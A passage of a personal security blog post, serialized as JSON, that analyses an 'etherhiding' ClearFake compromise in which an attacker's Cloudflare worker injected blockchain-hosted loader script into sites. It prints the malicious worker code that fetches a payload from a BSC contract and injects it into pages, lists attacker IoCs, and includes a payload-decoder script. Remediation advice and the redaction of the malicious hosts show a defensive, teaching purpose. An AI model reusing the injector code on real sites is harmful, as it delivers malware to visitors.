async",[68,1391,401],{"class":383},[68,1393,404],{"class":187},[68,1395,407],{"class":183},[68,1397,1398,1401,1404,1406,1408,1410],{"class":70,"line":265},[68,1399,1400],{"class":187},"        const",[68,1402,1403],{"class":74}," e",[68,1405,398],{"class":187},[68,1407,401],{"class":383},[68,1409,404],{"class":187},[68,1411,407],{"class":183},[68,1413,1414,1417,1419,1421,1423],{"class":70,"line":280},[68,1415,1416],{"class":187},"          let",[68,1418,415],{"class":183},[68,1420,418],{"class":187},[68,1422,421],{"class":91},[68,1424,424],{"class":183},[68,1426,1427,1430,1432,1434,1436,1438],{"class":70,"line":285},[68,1428,1429],{"class":187},"          for",[68,1431,432],{"class":183},[68,1433,435],{"class":187},[68,1435,438],{"class":78},[68,1437,441],{"class":187},[68,1439,444],{"class":183},[68,1441,1442,1445,1447,1449,1451,1453,1455,1457],{"class":70,"line":299},[68,1443,1444],{"class":187},"            const",[68,1446,401],{"class":78},[68,1448,398],{"class":187},[68,1450,456],{"class":183},[68,1452,459],{"class":74},[68,1454,380],{"class":183},[68,1456,464],{"class":78},[68,1458,467],{"class":183},[68,1460,1461,1464,1466,1468,1470,1472,1474,1476,1478,1480,1482,1484],{"class":70,"line":306},[68,1462,1463],{"class":183},"            e ",[68,1465,475],{"class":187},[68,1467,478],{"class":78},[68,1469,481],{"class":187},[68,1471,484],{"class":183},[68,1473,487],{"class":78},[68,1475,490],{"class":187},[68,1477,493],{"class":91},[68,1479,496],{"class":183},[68,1481,499],{"class":91},[68,1483,502],{"class":187},[68,1485,505],{"class":183},[68,1487,1488],{"class":70,"line":535},[68,1489,1490],{"class":183},"          }\n",[68,1492,1493,1496],{"class":70,"line":547},[68,1494,1495],{"class":187},"          return",[68,1497,518],{"class":183},[68,1499,1500],{"class":70,"line":565},[68,1501,1502],{"class":183},"        },\n",[68,1504,1505,1508,1510,1512,1514,1516,1519],{"class":70,"line":580},[68,1506,1507],{"class":78},"        a",[68,1509,398],{"class":187},[68,1511,671],{"class":187},[68,1513,674],{"class":74},[68,1515,380],{"class":183},[68,1517,1518],{"class":91},"\"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\u002F\"",[68,1520,1521],{"class":183},", {\n",[68,1523,1524,1527,1529],{"class":70,"line":585},[68,1525,1526],{"class":183},"          method: ",[68,1528,600],{"class":91},[68,1530,544],{"class":183},[68,1532,1533,1536,1538,1540,1542,1544,1546],{"class":70,"line":595},[68,1534,1535],{"class":183},"          headers: { Accept: ",[68,1537,611],{"class":91},[68,1539,343],{"class":183},[68,1541,616],{"class":91},[68,1543,619],{"class":183},[68,1545,611],{"class":91},[68,1547,624],{"class":183},[68,1549,1550,1553,1555,1557,1559],{"class":70,"line":605},[68,1551,1552],{"class":183},"          body: ",[68,1554,633],{"class":78},[68,1556,636],{"class":183},[68,1558,639],{"class":74},[68,1560,1561],{"class":183},"({\n",[68,1563,1564,1567,1569],{"class":70,"line":627},[68,1565,1566],{"class":183},"            method: ",[68,1568,541],{"class":91},[68,1570,544],{"class":183},[68,1572,1573,1576,1578,1580,1582],{"class":70,"line":645},[68,1574,1575],{"class":183},"            params: [{ to: t, data: ",[68,1577,553],{"class":91},[68,1579,556],{"class":183},[68,1581,559],{"class":91},[68,1583,562],{"class":183},[68,1585,1586,1589,1591,1593],{"class":70,"line":650},[68,1587,1588],{"class":183},"            id: ",[68,1590,571],{"class":78},[68,1592,574],{"class":183},[68,1594,577],{"class":91},[68,1596,1597],{"class":70,"line":663},[68,1598,1599],{"class":183},"          })\n",[68,1601,1602],{"class":70,"line":680},[68,1603,1604],{"class":183},"        }),\n",[68,1606,1607,1610,1612,1614,1616,1618,1620,1622,1624,1626,1628],{"class":70,"line":712},[68,1608,1609],{"class":78},"        s",[68,1611,398],{"class":187},[68,1613,432],{"class":183},[68,1615,690],{"class":187},[68,1617,456],{"class":183},[68,1619,696],{"class":74},[68,1621,699],{"class":183},[68,1623,702],{"class":74},[68,1625,380],{"class":183},[68,1627,707],{"class":78},[68,1629,1630],{"class":183},"),\n",[68,1632,1633,1636,1638,1640,1642,1645,1647,1649,1651,1653,1655,1657,1659,1661,1663,1665,1667,1669,1671,1673,1675],{"class":70,"line":771},[68,1634,1635],{"class":78},"        n",[68,1637,398],{"class":187},[68,1639,720],{"class":187},[68,1641,723],{"class":74},[68,1643,1644],{"class":183},"(s.",[68,1646,729],{"class":74},[68,1648,380],{"class":183},[68,1650,734],{"class":91},[68,1652,737],{"class":78},[68,1654,740],{"class":187},[68,1656,734],{"class":91},[68,1658,745],{"class":187},[68,1660,748],{"class":183},[68,1662,751],{"class":74},[68,1664,380],{"class":183},[68,1666,496],{"class":383},[68,1668,404],{"class":187},[68,1670,760],{"class":74},[68,1672,763],{"class":183},[68,1674,464],{"class":78},[68,1676,1677],{"class":183},"))),\n",[68,1679,1680,1683,1685,1687,1689,1691,1694,1696,1698,1700,1702,1704],{"class":70,"line":804},[68,1681,1682],{"class":78},"        c",[68,1684,398],{"class":187},[68,1686,779],{"class":74},[68,1688,380],{"class":183},[68,1690,1350],{"class":74},[68,1692,1693],{"class":183},"(n.",[68,1695,702],{"class":74},[68,1697,380],{"class":183},[68,1699,794],{"class":78},[68,1701,343],{"class":183},[68,1703,799],{"class":78},[68,1705,1677],{"class":183},[68,1707,1708,1711,1713,1715,1717,1719,1721,1723,1725,1727,1729,1731,1733],{"class":70,"line":836},[68,1709,1710],{"class":78},"        r",[68,1712,398],{"class":187},[68,1714,779],{"class":74},[68,1716,380],{"class":183},[68,1718,1350],{"class":74},[68,1720,1693],{"class":183},[68,1722,702],{"class":74},[68,1724,380],{"class":183},[68,1726,799],{"class":78},[68,1728,343],{"class":183},[68,1730,799],{"class":78},[68,1732,830],{"class":187},[68,1734,1735],{"class":183}," c)));\n",[68,1737,1738,1741,1743,1745,1747,1749,1752,1754,1756,1758,1760,1763,1765,1767,1770,1772],{"class":70,"line":882},[68,1739,1740],{"class":187},"        return",[68,1742,844],{"class":183},[68,1744,847],{"class":74},[68,1746,380],{"class":183},[68,1748,852],{"class":78},[68,1750,1751],{"class":183},", n.",[68,1753,702],{"class":74},[68,1755,380],{"class":183},[68,1757,799],{"class":78},[68,1759,830],{"class":187},[68,1761,1762],{"class":183}," c, ",[68,1764,799],{"class":78},[68,1766,830],{"class":187},[68,1768,1769],{"class":183}," c ",[68,1771,876],{"class":187},[68,1773,1774],{"class":183}," r))\n",[68,1776,1777],{"class":70,"line":896},[68,1778,1779],{"class":183},"      };\n",[68,1781,1782,1784,1786,1788,1790,1792,1794,1797],{"class":70,"line":902},[68,1783,449],{"class":187},[68,1785,1403],{"class":78},[68,1787,398],{"class":187},[68,1789,671],{"class":187},[68,1791,401],{"class":74},[68,1793,380],{"class":183},[68,1795,1796],{"class":91},"\"0x\u003Credacted-worker-stage-contract>\"",[68,1798,467],{"class":183},[68,1800,1801,1804,1806,1809],{"class":70,"line":907},[68,1802,1803],{"class":183},"      s ",[68,1805,418],{"class":187},[68,1807,1808],{"class":74}," atob",[68,1810,1811],{"class":183},"(e)\n",[68,1813,1814,1817,1820],{"class":70,"line":932},[68,1815,1816],{"class":183},"    } ",[68,1818,1819],{"class":187},"catch",[68,1821,1822],{"class":183}," {}\n",[68,1824,1825,1828,1831,1833,1835,1837],{"class":70,"line":953},[68,1826,1827],{"class":187},"    const",[68,1829,1830],{"class":78}," n",[68,1832,398],{"class":187},[68,1834,671],{"class":187},[68,1836,674],{"class":74},[68,1838,1839],{"class":183},"(t);\n",[68,1841,1842,1845,1847,1850,1853,1855,1858,1861,1864,1866,1868,1871,1873,1875,1878,1881,1884],{"class":70,"line":985},[68,1843,1844],{"class":187},"    if",[68,1846,432],{"class":183},[68,1848,1849],{"class":187},"!",[68,1851,1852],{"class":183},"s ",[68,1854,977],{"class":187},[68,1856,1857],{"class":187}," !",[68,1859,1860],{"class":183},"n.headers.",[68,1862,1863],{"class":74},"get",[68,1865,380],{"class":183},[68,1867,616],{"class":91},[68,1869,1870],{"class":183},")?.",[68,1872,966],{"class":74},[68,1874,380],{"class":183},[68,1876,1877],{"class":91},"\"text\u002Fhtml\"",[68,1879,1880],{"class":183},")) ",[68,1882,1883],{"class":187},"return",[68,1885,1886],{"class":183}," n;\n",[68,1888,1889,1891,1894,1896,1898,1900,1903,1905,1908,1911,1913,1916,1918,1921,1924,1927,1930,1933],{"class":70,"line":1013},[68,1890,1827],{"class":187},[68,1892,1893],{"class":78}," c",[68,1895,398],{"class":187},[68,1897,432],{"class":183},[68,1899,690],{"class":187},[68,1901,1902],{"class":183}," n.",[68,1904,28],{"class":74},[68,1906,1907],{"class":183},"()).",[68,1909,1910],{"class":74},"replace",[68,1912,380],{"class":183},[68,1914,1915],{"class":91},"\"\u003C\u002Fbody>\"",[68,1917,343],{"class":183},[68,1919,1920],{"class":91},"`\u003Cscript>${",[68,1922,1923],{"class":183},"s",[68,1925,1926],{"class":91},"}\u003C",[68,1928,1929],{"class":78},"\\\u002F",[68,1931,1932],{"class":91},"script>\u003C\u002Fbody>`",[68,1934,467],{"class":183},[68,1936,1937,1939,1941,1944],{"class":70,"line":1018},[68,1938,515],{"class":187},[68,1940,720],{"class":187},[68,1942,1943],{"class":74}," Response",[68,1945,1946],{"class":183},"(c, {\n",[68,1948,1949],{"class":70,"line":1034},[68,1950,1951],{"class":183},"      status: n.status,\n",[68,1953,1954],{"class":70,"line":1054},[68,1955,1956],{"class":183},"      statusText: n.statusText,\n",[68,1958,1959],{"class":70,"line":1075},[68,1960,1961],{"class":183},"      headers: {\n",[68,1963,1964,1967],{"class":70,"line":1094},[68,1965,1966],{"class":187},"        ...",[68,1968,1969],{"class":183},"n.headers,\n",[68,1971,1973,1976,1978,1981],{"class":70,"line":1972},40,[68,1974,1975],{"class":91},"        \"Content-Type\"",[68,1977,619],{"class":183},[68,1979,1980],{"class":91},"\"text\u002Fhtml;charset=UTF-8\"",[68,1982,544],{"class":183},[68,1984,1986,1989,1992,1994,1996,1998],{"class":70,"line":1985},41,[68,1987,1988],{"class":91},"        \"Content-Length\"",[68,1990,1991],{"class":183},": c.",[68,1993,487],{"class":78},[68,1995,636],{"class":183},[68,1997,459],{"class":74},[68,1999,1031],{"class":183},[68,2001,2003],{"class":70,"line":2002},42,[68,2004,2005],{"class":183},"      }\n",[68,2007,2009],{"class":70,"line":2008},43,[68,2010,2011],{"class":183},"    })\n",[68,2013,2015],{"class":70,"line":2014},44,[68,2016,2017],{"class":183},"  }\n",[68,2019,2021],{"class":70,"line":2020},45,[68,2022,2023],{"class":183},"};\n",[10,2025,2026],{},"so the worker has its own etherhiding contract that returns the loader script you just read. the chain is:",[23,2028,2031],{"className":2029,"code":2030,"language":28},[26],"visitor\n  → cloudflare worker\n      → fetches loader from worker-stage contract\n      → injects loader into html\n  → loader runs in browser\n      → fetches stage 2 from win\u002Fmac contract\n      → renders fake captcha\n  → user pastes rundll32\n      → smb fetches dll\n      → infostealer\n",[14,2032,2030],{"__ignoreMap":31},[10,2034,2035],{},"four contracts. the attacker controls all of them.",[10,2037,2038],{},"note what the worker does NOT do: it doesn't fetch anything attacker-owned. it doesn't read or exfiltrate the visitor's request headers, cookies, IP, or path. it's a pure html injector. nothing in the worker would trigger any \"exfil to weird domain\" alarm. they could've added that, but they didn't bother — the entire point of etherhiding is that all the dirty work happens in the browser, downstream of the cloudflare worker.",[56,2040,2042],{"id":2041},"the-audit-log-nails-it","the audit log nails it",[10,2044,2045],{},"cloudflare's account audit log answered the only question that mattered: how did they get in.",[23,2047,2049],{"className":62,"code":2048,"language":64,"meta":31,"style":31},"SINCE=$(date -u -v-30d +%Y-%m-%dT%H:%M:%SZ)\ncurl -s -H \"Authorization: Bearer $CF_API_TOKEN\" \\\n  \"https:\u002F\u002Fapi.cloudflare.com\u002Fclient\u002Fv4\u002Faccounts\u002F$ACC\u002Faudit_logs?since=$SINCE&per_page=25&page=1\" \\\n  | jq -r '.result[] | [.when, .actor.ip, .actor.email, .actor.type, .action.type, .resource.type] | @tsv'\n",[14,2050,2051,2075,2096,2115],{"__ignoreMap":31},[68,2052,2053,2056,2058,2061,2064,2067,2070,2073],{"class":70,"line":71},[68,2054,2055],{"class":183},"SINCE",[68,2057,418],{"class":187},[68,2059,2060],{"class":183},"$(",[68,2062,2063],{"class":74},"date",[68,2065,2066],{"class":78}," -u",[68,2068,2069],{"class":78}," -v-30d",[68,2071,2072],{"class":91}," +%Y-%m-%dT%H:%M:%SZ",[68,2074,1051],{"class":183},[68,2076,2077,2079,2082,2085,2088,2091,2094],{"class":70,"line":85},[68,2078,232],{"class":74},[68,2080,2081],{"class":78}," -s",[68,2083,2084],{"class":78}," -H",[68,2086,2087],{"class":91}," \"Authorization: Bearer ",[68,2089,2090],{"class":183},"$CF_API_TOKEN",[68,2092,2093],{"class":91},"\"",[68,2095,82],{"class":78},[68,2097,2098,2101,2104,2107,2110,2113],{"class":70,"line":113},[68,2099,2100],{"class":91},"  \"https:\u002F\u002Fapi.cloudflare.com\u002Fclient\u002Fv4\u002Faccounts\u002F",[68,2102,2103],{"class":183},"$ACC",[68,2105,2106],{"class":91},"\u002Faudit_logs?since=",[68,2108,2109],{"class":183},"$SINCE",[68,2111,2112],{"class":91},"&per_page=25&page=1\"",[68,2114,82],{"class":78},[68,2116,2117,2120,2123,2126],{"class":70,"line":138},[68,2118,2119],{"class":187},"  |",[68,2121,2122],{"class":74}," jq",[68,2124,2125],{"class":78}," -r",[68,2127,2128],{"class":91}," '.result[] | [.when, .actor.ip, .actor.email, .actor.type, .action.type, .resource.type] | @tsv'\n",[10,2130,2131],{},"trimmed:",[23,2133,2136],{"className":2134,"code":2135,"language":28},[26],"2026-04-25T16:25:23Z  103.152.17.185  user  login                    ← straight password auth\n2026-04-25T16:25:42Z  103.152.17.185  user  script_create     worker-shrill-sun-e3cf\n2026-04-25T16:25:42Z  103.152.17.185  user  script_deploy\n2026-04-25T16:25:44Z  103.152.17.185  user  script_on_subdomain      ← also exposed at *.workers.dev\n2026-04-25T16:25:56Z  103.152.17.185  user  script_update\n2026-04-25T16:25:56Z  103.152.17.185  user  script_deploy\n2026-04-25T16:26:05Z  103.152.17.185  user  route_create     *avrdu.de\u002F*           → worker-shrill-sun-e3cf\n2026-04-25T16:26:10Z  103.152.17.185  user  route_create     *stopusingssr.com\u002F*   → worker-shrill-sun-e3cf\n\n2026-04-26T13:57:42Z  \u003Cmy-ip>        user  login                    ← me\n2026-04-26T14:13:42Z  \u003Cmy-ip>        user  login + MFA_enabled (totp)  ← only NOW did i turn on 2fa\n2026-04-26T14:14:35Z  \u003Cmy-ip>        user  change_password + logout\n2026-04-26T14:16:12Z  \u003Cmy-ip>        user  route_delete *stopusingssr.com\u002F*\n2026-04-26T14:16:15Z  \u003Cmy-ip>        user  route_delete *avrdu.de\u002F*\n2026-04-26T14:26:44Z  \u003Cmy-ip>        user  token_roll\n2026-04-26T14:30:49Z  \u003Cmy-ip>        user  token_create (audit-only, ip-bound)\n",[14,2137,2135],{"__ignoreMap":31},[10,2139,2140],{},"three things hit me:",[2142,2143,2144,2161,2167],"ol",{},[1274,2145,2146,2156,2157,2160],{},[40,2147,2148,2151,2152,2155],{},[14,2149,2150],{},"actor.type=user"," + ",[14,2153,2154],{},"action=login"," from a single ip",". it's not session\u002Fcookie reuse, not API token, not OAuth grant. ",[40,2158,2159],{},"straight password auth."," they had my password.",[1274,2162,2163,2166],{},[40,2164,2165],{},"MFA was disabled."," that's what i was hiding from. there's no excuse for not having 2fa on cloudflare. there's no reason. nothing makes it inconvenient. i just hadn't done it.",[1274,2168,2169,2172,2173,2176,2177,2180],{},[40,2170,2171],{},"the worker was bound to TWO zones."," i would have missed ",[14,2174,2175],{},"*stopusingssr.com\u002F*"," if i'd only checked the dashboard's route list for ",[14,2178,2179],{},"avrdu.de",". the audit log was the source of truth, the dashboard wasn't.",[10,2182,2183],{},"the attacker IP belonged to AS62240 Clouvider Ltd, a UK transit provider, resold further by a small downstream operator. geo-ip couldn't decide whether it was NYC or LA. it's a vps or a vpn endpoint. it wasn't going to identify the attacker; clouvider abuse would at best say \"a customer used it.\"",[56,2185,2187],{"id":2186},"so-where-did-the-password-come-from","so where did the password come from",[10,2189,2190,2191,2194],{},"embarrassingly simple. the cloudflare password was short, easy, and ",[40,2192,2193],{},"reused"," on at least one other service. i don't have it saved in any browser; i don't have a stealer on my machine (i scanned, persistence is clean, code signing is clean, no foreign processes, no DYLD injections); i'm not seeing the password anywhere on disk that would justify a more interesting story.",[10,2196,2197],{},"what i do have is a password short enough that it shows up in standard credential-stuffing wordlists, used somewhere that has either been breached or scraped, and reused on cloudflare. that is more than enough. you do not need a sophisticated attacker to walk into an account that has a reused weak password and no 2fa. you need a botnet running through stolen credential lists at one cloudflare login per second across the internet. the bar is on the floor.",[10,2199,2200],{},"so: the post-mortem is not a thriller. the password was simple, and it was reused. that, plus no 2fa, was the entire perimeter of my cloudflare account. probably some russian kid on a vpn ran my email through stolen credential lists, hit on cloudflare, and immediately weaponised the account into a malware delivery cdn for as long as they could before i woke up.",[56,2202,2204],{"id":2203},"the-response","the response",[10,2206,2207],{},"in order:",[2142,2209,2210,2216,2229,2239,2245,2251,2257,2262,2272,2278,2284],{},[1274,2211,2212,2215],{},[40,2213,2214],{},"unbind the worker"," from both zones. injection stops within seconds.",[1274,2217,2218,2221,2222,2224,2225,2228],{},[40,2219,2220],{},"verify origin clean"," by ",[14,2223,322],{},"-ing CF response vs ",[14,2226,2227],{},"--resolve \u003Corigin-ip>"," direct.",[1274,2230,2231,2234,2235,2238],{},[40,2232,2233],{},"delete the worker entirely",", including disabling its ",[14,2236,2237],{},"*.workers.dev"," subdomain. unbound is not gone.",[1274,2240,2241,2244],{},[40,2242,2243],{},"rotate cloudflare password."," long, unique.",[1274,2246,2247,2250],{},[40,2248,2249],{},"enable 2FA."," totp minimum.",[1274,2252,2253,2256],{},[40,2254,2255],{},"revoke every existing api token."," mint a fresh minimal-scope token only when needed, with ip allowlist, with short ttl.",[1274,2258,2259],{},[40,2260,2261],{},"end all sessions.",[1274,2263,2264,2267,2268,2271],{},[40,2265,2266],{},"audit other zones"," the same account owned. i had a leftover empty worker named ",[14,2269,2270],{},"stopusingssr"," that wasn't malicious but reminded me to clean up dead infra.",[1274,2273,2274,2277],{},[40,2275,2276],{},"audit gmail."," recent activity, oauth grants, app passwords, filters\u002Fforwarding. the email is the password-reset master key for everything.",[1274,2279,2280,2283],{},[40,2281,2282],{},"rotate every credential where the same email is the login."," github, telegram, icloud, hosting providers, the works.",[1274,2285,2286,2289],{},[40,2287,2288],{},"notify users."," any windows or mac visitor who saw the captcha and pasted the command should be assumed infected. defender plus malwarebytes scan, rotate every browser-saved credential.",[10,2291,2292],{},"i did all of this in 30 minutes once i knew it was cloudflare-side. the actual investigation took two hours, almost all of it spent ruling out the wrong layer.",[56,2294,2296],{"id":2295},"how-this-is-supposed-to-work","how this is supposed to work",[10,2298,2299],{},"before this incident, my mental model of cloudflare was \"DNS plus DDoS protection.\" i used it as a cdn for static html, dns for everything else. i thought of it as a passive layer.",[10,2301,2302,2303,2306],{},"cloudflare is not a passive layer. it's a ",[40,2304,2305],{},"javascript execution environment on the wire",", sitting between your origin and every user. workers can read, modify, drop, or replace any byte of any response. for a long time i'd had this mental separation: my \"code\" was the stuff in the github repo; cloudflare was just a dumb pipe. that's wrong. cloudflare is part of my code. the workers in my account ARE my code, even if i didn't write them.",[10,2308,2309,2310,2313],{},"if you have a cloudflare account that can deploy workers, ",[40,2311,2312],{},"someone with write access to your cloudflare account has rce on every visitor of every site in the account."," there's no exploit needed. that's the legitimate, intended operating model of workers. and the only thing standing between an attacker and that capability is your cloudflare login.",[10,2315,2316],{},"so 2fa on cloudflare isn't a hardening best practice. it is the perimeter. mine wasn't.",[56,2318,2320],{"id":2319},"what-to-actually-do","what to actually do",[10,2322,2323],{},"don't read this and feel smug because you're not a moron, or feel terrified because you are. just do the things:",[1271,2325,2326,2332,2337,2347],{},[1274,2327,2328,2331],{},[40,2329,2330],{},"enable 2fa on cloudflare right now."," hardware key if you have one (yubikey, titan), totp otherwise. not sms.",[1274,2333,2334,2336],{},[40,2335,2255],{}," mint new ones with minimal scope, ip allowlist, 30-day ttl. treat them like prod credentials, not like dotfiles.",[1274,2338,2339,2342,2343,2346],{},[40,2340,2341],{},"bypass your cdn periodically"," with ",[14,2344,2345],{},"curl --resolve"," and diff against your origin. add it to a cron if you want; even running it manually once a week beats nothing.",[1274,2348,2349,2352],{},[40,2350,2351],{},"assume your email is compromise-target #1."," 2fa it, audit oauth grants quarterly, scrub forwarding rules.",[10,2354,2355],{},"i'm not going to lecture you about the rest. you've read the post.",[56,2357,2359],{"id":2358},"iocs","IoCs",[10,2361,2362],{},"domains: redacted from the post — the smb host was effectively a malware delivery endpoint and i don't want anyone reading this to type it into a terminal \"to see what happens.\" if you need them for a blocklist, dm me.",[10,2364,2365,2366,2369],{},"legitimate services abused (",[40,2367,2368],{},"don't blocklist","):",[1271,2371,2372,2378,2384],{},[1274,2373,2374,2377],{},[14,2375,2376],{},"bsc-testnet-rpc.publicnode.com"," — bsc rpc as covert c2 transport",[1274,2379,2380,2383],{},[14,2381,2382],{},"ip-info.ff.avast.com\u002Fv2\u002Finfo"," — avast's public ip lookup, used as visitor fingerprint",[1274,2385,2386,2389],{},[14,2387,2388],{},"use.fontawesome.com\u002Freleases\u002Fv5.0.0\u002Fcss\u002Fall.css"," — fontawesome cdn for the captcha ui",[10,2391,2392,2393,2395,2396,2398],{},"bsc testnet contracts (selector ",[14,2394,1111],{}," = ",[14,2397,1115],{},"): redacted. four contracts in total — worker injector, stage-1 windows, stage-1 macos, telemetry\u002F\"goal-reached.\" dm me if you need addresses for tracking.",[10,2400,2401],{},"network:",[1271,2403,2404],{},[1274,2405,2406,2407,2410],{},"attacker login: ",[14,2408,2409],{},"103.152.17.185"," (AS62240 Clouvider Ltd)",[10,2412,2413],{},"cloudflare artifacts:",[1271,2415,2416,2422],{},[1274,2417,2418,2419],{},"worker name: ",[14,2420,2421],{},"worker-shrill-sun-e3cf",[1274,2423,2424,2425,343,2428],{},"routes: ",[14,2426,2427],{},"*avrdu.de\u002F*",[14,2429,2175],{},[56,2431,2433],{"id":2432},"appendix-decoding-any-etherhiding-contract-payload","appendix: decoding any etherhiding contract payload",[23,2435,2437],{"className":1140,"code":2436,"language":1142,"meta":31,"style":31},"import json, base64, urllib.request\n\nCONTRACT = \"0x\u003Credacted>\"\nRPC      = \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\"\n\nreq = urllib.request.Request(\n    RPC,\n    method=\"POST\",\n    headers={\"Content-Type\": \"application\u002Fjson\"},\n    data=json.dumps({\n        \"method\": \"eth_call\",\n        \"params\": [{\"to\": CONTRACT, \"data\": \"0x6d4ce63c\"}, \"latest\"],\n        \"id\": 1, \"jsonrpc\": \"2.0\"\n    }).encode()\n)\nresult = json.load(urllib.request.urlopen(req))[\"result\"]\n\n# ABI-decode a single-string return value\nb      = bytes.fromhex(result[2:])\noffset = int.from_bytes(b[0:32], \"big\")           # = 32 for a single string\nlength = int.from_bytes(b[offset:offset+32], \"big\")\nb64    = b[offset+32 : offset+32+length].decode()\njs     = base64.b64decode(b64).decode(\"utf-8\", \"replace\")\n\nprint(js)\n",[14,2438,2439,2443,2447,2452,2457,2461,2465,2470,2474,2478,2482,2486,2491,2495,2499,2503,2507,2511,2516,2521,2526,2530,2535,2540,2544],{"__ignoreMap":31},[68,2440,2441],{"class":70,"line":71},[68,2442,1149],{},[68,2444,2445],{"class":70,"line":85},[68,2446,227],{"emptyLinePlaceholder":226},[68,2448,2449],{"class":70,"line":113},[68,2450,2451],{},"CONTRACT = \"0x\u003Credacted>\"\n",[68,2453,2454],{"class":70,"line":138},[68,2455,2456],{},"RPC      = \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\"\n",[68,2458,2459],{"class":70,"line":149},[68,2460,227],{"emptyLinePlaceholder":226},[68,2462,2463],{"class":70,"line":265},[68,2464,1158],{},[68,2466,2467],{"class":70,"line":280},[68,2468,2469],{},"    RPC,\n",[68,2471,2472],{"class":70,"line":285},[68,2473,1168],{},[68,2475,2476],{"class":70,"line":299},[68,2477,1173],{},[68,2479,2480],{"class":70,"line":306},[68,2481,1178],{},[68,2483,2484],{"class":70,"line":535},[68,2485,1183],{},[68,2487,2488],{"class":70,"line":547},[68,2489,2490],{},"        \"params\": [{\"to\": CONTRACT, \"data\": \"0x6d4ce63c\"}, \"latest\"],\n",[68,2492,2493],{"class":70,"line":565},[68,2494,1208],{},[68,2496,2497],{"class":70,"line":580},[68,2498,1213],{},[68,2500,2501],{"class":70,"line":585},[68,2502,1051],{},[68,2504,2505],{"class":70,"line":595},[68,2506,1222],{},[68,2508,2509],{"class":70,"line":605},[68,2510,227],{"emptyLinePlaceholder":226},[68,2512,2513],{"class":70,"line":627},[68,2514,2515],{},"# ABI-decode a single-string return value\n",[68,2517,2518],{"class":70,"line":645},[68,2519,2520],{},"b      = bytes.fromhex(result[2:])\n",[68,2522,2523],{"class":70,"line":650},[68,2524,2525],{},"offset = int.from_bytes(b[0:32], \"big\")           # = 32 for a single string\n",[68,2527,2528],{"class":70,"line":663},[68,2529,1241],{},[68,2531,2532],{"class":70,"line":680},[68,2533,2534],{},"b64    = b[offset+32 : offset+32+length].decode()\n",[68,2536,2537],{"class":70,"line":712},[68,2538,2539],{},"js     = base64.b64decode(b64).decode(\"utf-8\", \"replace\")\n",[68,2541,2542],{"class":70,"line":771},[68,2543,227],{"emptyLinePlaceholder":226},[68,2545,2546],{"class":70,"line":804},[68,2547,2548],{},"print(js)\n",[10,2550,2551,2552,2555,2556,2558],{},"if you ever find an ",[14,2553,2554],{},"eval(atob(...))"," of an ",[14,2557,1119],{}," result on a site you run, that script is your inspector. paste the contract address, run it, read what comes out. that's the whole malware.",[10,2560,2561],{},"stay safe.",[2563,2564,2565],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sFR8T, html code.shiki .sFR8T{--shiki-default:#B392F0;--shiki-dark:#B392F0}html pre.shiki code .s8ozJ, html code.shiki .s8ozJ{--shiki-default:#79B8FF;--shiki-dark:#79B8FF}html pre.shiki code .s4wv1, html code.shiki .s4wv1{--shiki-default:#9ECBFF;--shiki-dark:#9ECBFF}html pre.shiki code .suv1-, html code.shiki .suv1-{--shiki-default:#E1E4E8;--shiki-dark:#E1E4E8}html pre.shiki code .sOPea, html code.shiki .sOPea{--shiki-default:#F97583;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s-3mD, html code.shiki .s-3mD{--shiki-default:#FFAB70;--shiki-dark:#FFAB70}",{"title":31,"searchDepth":85,"depth":85,"links":2567},[2568,2569,2570,2571,2572,2573,2574,2575,2576,2577,2578,2579],{"id":58,"depth":85,"text":59},{"id":169,"depth":85,"text":170},{"id":358,"depth":85,"text":359},{"id":1133,"depth":85,"text":1134},{"id":1306,"depth":85,"text":1307},{"id":2041,"depth":85,"text":2042},{"id":2186,"depth":85,"text":2187},{"id":2203,"depth":85,"text":2204},{"id":2295,"depth":85,"text":2296},{"id":2319,"depth":85,"text":2320},{"id":2358,"depth":85,"text":2359},{"id":2432,"depth":85,"text":2433},"2026-04-26","a friend pinged me. it's his telegram mini-app, but it's running on a subdomain of mine — i registered the subdomain for him, dns goes through my cloudflare, that's the only thing tying me to it. a user of his messaged saying \"weird captcha on the site. it told me to press win+r and paste this.\" the command was a rundll32 line loading a DLL from a hostile SMB share, with the function called by ordinal #1. i'm not going to print the actual host because there are people who would copy-paste it just to see what it does, and that does what it says on the tin. so the shape was:",null,"md",{},"\u002Fposts\u002Fclearfake-cloudflare-worker",{"title":5,"description":2581},"posts\u002Fclearfake-cloudflare-worker",[2589,2590,2591,2592,50,1107],"security","cloudflare","incident","malware",false,"QyY1E1bocSm1lG5hgVgbuG6306R7b-D5B6sqtaLYGiw",1790348197254]